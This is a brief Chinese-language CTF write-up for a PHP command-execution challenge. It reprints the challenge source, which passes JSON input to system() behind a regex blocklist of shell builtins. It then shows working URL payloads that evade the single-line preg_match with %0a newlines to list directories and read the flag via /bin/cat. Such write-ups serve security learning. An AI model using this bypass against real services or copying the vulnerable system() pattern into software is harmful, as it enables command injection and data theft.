解题

用json格式尝试，一直没得结果，查看wp，当时给了源码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

很多东西都过滤了，但是preg_match()函数只匹配一行，用%0a进行换行
payload
?cmd={%0A"cmd": "ls /"%0A}

源码里有个路径，putenv('PATH=/home/rceservice/jail');
尝试获取目录
?cmd={%0A"cmd": "ls /home/rceservice"%0A}
看到flag

直接用绝对路径调用
?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

得到flag